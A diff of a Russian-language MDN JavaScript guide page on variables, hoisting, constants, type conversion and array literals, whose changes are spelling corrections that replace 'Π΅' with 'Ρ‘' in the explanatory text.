+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code> Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>false</code>, ΠΊΠΎΠ³Π΄Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² логичСском контСкстС. НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ выполняСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>myFunction</code>, Ρ‚.ΠΊ. элСмСнт <code>myArray</code>Β Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myArray <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span>
<span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">!</span>myArray<span class="punctuation token" style="color: #999999;">[</span><span class="number token" style="color: #990055;">0</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span> {
@@ -108,7 +108,7 @@ let x; </pre>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> a<span class="punctuation token" style="color: #999999;">;</span>
a <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="number token" style="color: #990055;">2</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // NaN</span></code></pre>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("null")}} Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ 0 Π² числовом контСкстС ΠΈ ΠΊΠ°ΠΊ <code>false</code> Π² логичСском контСкстС:</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("null")}} Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ 0 Π² числовом контСкстС ΠΈ ΠΊΠ°ΠΊ <code>false</code> Π² логичСском контСкстС:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">null</span><span class="punctuation token" style="color: #999999;">;</span>
console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span> <span class="number token" style="color: #990055;">32</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // Π’ консоль вывСдСтся 0</span></code></pre>
@@ -124,7 +124,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla
<span class="punctuation token" style="color: #999999;">}</span>
console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">// 5</span></code></pre>
-<p>Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ мСняСтся, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>let</code>, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π² ECMAScript 6:</p>
+<p>Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ мСняСтся, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>let</code>, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π² ECMAScript 6:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
<span class="keyword token" style="color: #0077aa;">let</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">5</span><span class="punctuation token" style="color: #999999;">;</span>
@@ -133,7 +133,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla
<h3 id="ΠŸΠΎΠ΄Π½ΡΡ‚ΠΈΠ΅_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">ΠŸΠΎΠ΄Π½ΡΡ‚ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</h3>
-<p>Π”Ρ€ΡƒΠ³ΠΈΠΌ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ свойством ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² JavaScript являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, которая ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ ΠΏΠΎΠ·ΠΆΠ΅, ΠΈ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈ этом ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π­Ρ‚Π° концСпция извСстна ΠΊΠ°ΠΊ <strong>поднятиС</strong> (hoisting) ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…; ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π² JavaScript ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ Π² самоС Π½Π°Ρ‡Π°Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ выраТСния. Однако, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, возвратят Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>:</p>
+<p>Π”Ρ€ΡƒΠ³ΠΈΠΌ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ свойством ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² JavaScript являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, которая ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ ΠΏΠΎΠ·ΠΆΠ΅, ΠΈ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈ этом ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π­Ρ‚Π° концСпция извСстна ΠΊΠ°ΠΊ <strong>поднятиС</strong> (hoisting) ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…; ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π² JavaScript ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ Π² самоС Π½Π°Ρ‡Π°Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ выраТСния. Однако, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, возвратят Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/*
* Example 1
@@ -151,7 +151,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla
</span> <span class="keyword token" style="color: #0077aa;">var</span> myvar <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"local value"</span><span class="punctuation token" style="color: #999999;">;</span>
<span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ:</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/*
* Example 1
@@ -209,7 +209,7 @@ var baz = function() {
<h3 id="ΠšΠΎΠ½ΡΡ‚Π°Π½Ρ‚Ρ‹"><a id="Constants" name="Constants">ΠšΠΎΠ½ΡΡ‚Π°Π½Ρ‚Ρ‹</a></h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽ константу, Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΡƒΡŽ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово {{jsxref("Statements/const", "const")}}. Бинтаксис ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° константы являСтся Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ ΡƒΒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ: ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с Π±ΡƒΠΊΠ²Ρ‹, Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчСркивания ΠΈΠ»ΠΈ Π·Π½Π°ΠΊΠ° $ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π±ΡƒΠΊΠ²Ρ‹, Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽ константу, Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΡƒΡŽ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово {{jsxref("Statements/const", "const")}}. Бинтаксис ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° константы являСтся Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ ΡƒΒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ: ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с Π±ΡƒΠΊΠ²Ρ‹, Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчёркивания ΠΈΠ»ΠΈ Π·Π½Π°ΠΊΠ° $ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π±ΡƒΠΊΠ²Ρ‹, Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅.</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">const</span> PREFIX <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'212'</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
@@ -260,7 +260,7 @@ MY_OBJECT.key = "otherValue";</pre>
<h3 id="ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅_Ρ‚ΠΈΠΏΠΎΠ²_Π΄Π°Π½Π½Ρ‹Ρ…">ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…</h3>
-<p>JavaScriptΒ β€” это динамичСски Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ язык. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π΅Π΅ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚Π΅, Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ автоматичСски ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости Π²ΠΎ врСмя выполнСния скрипта. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>JavaScriptΒ β€” это динамичСски Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ язык. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π΅Ρ‘ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚Π΅, Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ автоматичСски ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости Π²ΠΎ врСмя выполнСния скрипта. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> answer <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
@@ -313,9 +313,9 @@ MY_OBJECT.key = "otherValue";</pre>
<h3 id="Π›ΠΈΡ‚Π΅Ρ€Π°Π»_массива">Π›ΠΈΡ‚Π΅Ρ€Π°Π» массива</h3>
-<p>Π›ΠΈΡ‚Π΅Ρ€Π°Π» массива β€” это список ΠΈΠ· нуля ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт элСмСнт массива, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки ( <code>[]</code> ). Когда Π²Ρ‹ создаСтС массив, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π»ΠΈΡ‚Π΅Ρ€Π°Π» массива, ΠΎΠ½ инициализируСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ²Π»ΡΡ‚ΡŒΡΡ Π΅Π³ΠΎ элСмСнтами, Π΄Π»ΠΈΠ½Π° массива Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π½Π° числу ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</p>
+<p>Π›ΠΈΡ‚Π΅Ρ€Π°Π» массива β€” это список ΠΈΠ· нуля ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт элСмСнт массива, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки ( <code>[]</code> ). Когда Π²Ρ‹ создаётС массив, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π»ΠΈΡ‚Π΅Ρ€Π°Π» массива, ΠΎΠ½ инициализируСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ²Π»ΡΡ‚ΡŒΡΡ Π΅Π³ΠΎ элСмСнтами, Π΄Π»ΠΈΠ½Π° массива Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π½Π° числу ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся массив <code>coffees</code> с трСмя элСмСнтам ΠΈ Π΄Π»ΠΈΠ½ΠΎΠΉ, Ρ€Π°Π²Π½ΠΎΠΉ Ρ‚Ρ€Π΅ΠΌ:</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся массив <code>coffees</code> с трСмя элСмСнтам ΠΈ Π΄Π»ΠΈΠ½ΠΎΠΉ, Ρ€Π°Π²Π½ΠΎΠΉ Ρ‚Ρ€Ρ‘ΠΌ:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> coffees <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"French Roast"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Colombian"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Kona"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span></code>
</pre>
@@ -324,7 +324,7 @@ MY_OBJECT.key = "otherValue";</pre>
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong> ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π»ΠΈΡ‚Π΅Ρ€Π°Π» массива являСтся ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Working_with_Objects#.D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.B8.D0.BD.D0.B8.D1.86.D0.B8.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.82.D0.BE.D1.80.D0.BE.D0.B2_.D0.BE.D0.B1.D1.8A.D0.B5.D0.BA.D1.82.D0.B0">ИспользованиС ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</a>.</p>
</div>
-<p>Если массив создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π° Π² скриптС Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, Ρ‚ΠΎ JavaScript ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ массив ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° вычисляСт Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, содСрТащСС Π»ΠΈΡ‚Π΅Ρ€Π°Π». ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π»ΠΈΡ‚Π΅Ρ€Π°Π», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉΒ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, создаСтся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° вызываСтся функция.</p>
+<p>Если массив создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π° Π² скриптС Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, Ρ‚ΠΎ JavaScript ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ массив ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° вычисляСт Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, содСрТащСС Π»ΠΈΡ‚Π΅Ρ€Π°Π». ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π»ΠΈΡ‚Π΅Ρ€Π°Π», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉΒ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, создаётся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° вызываСтся функция.</p>
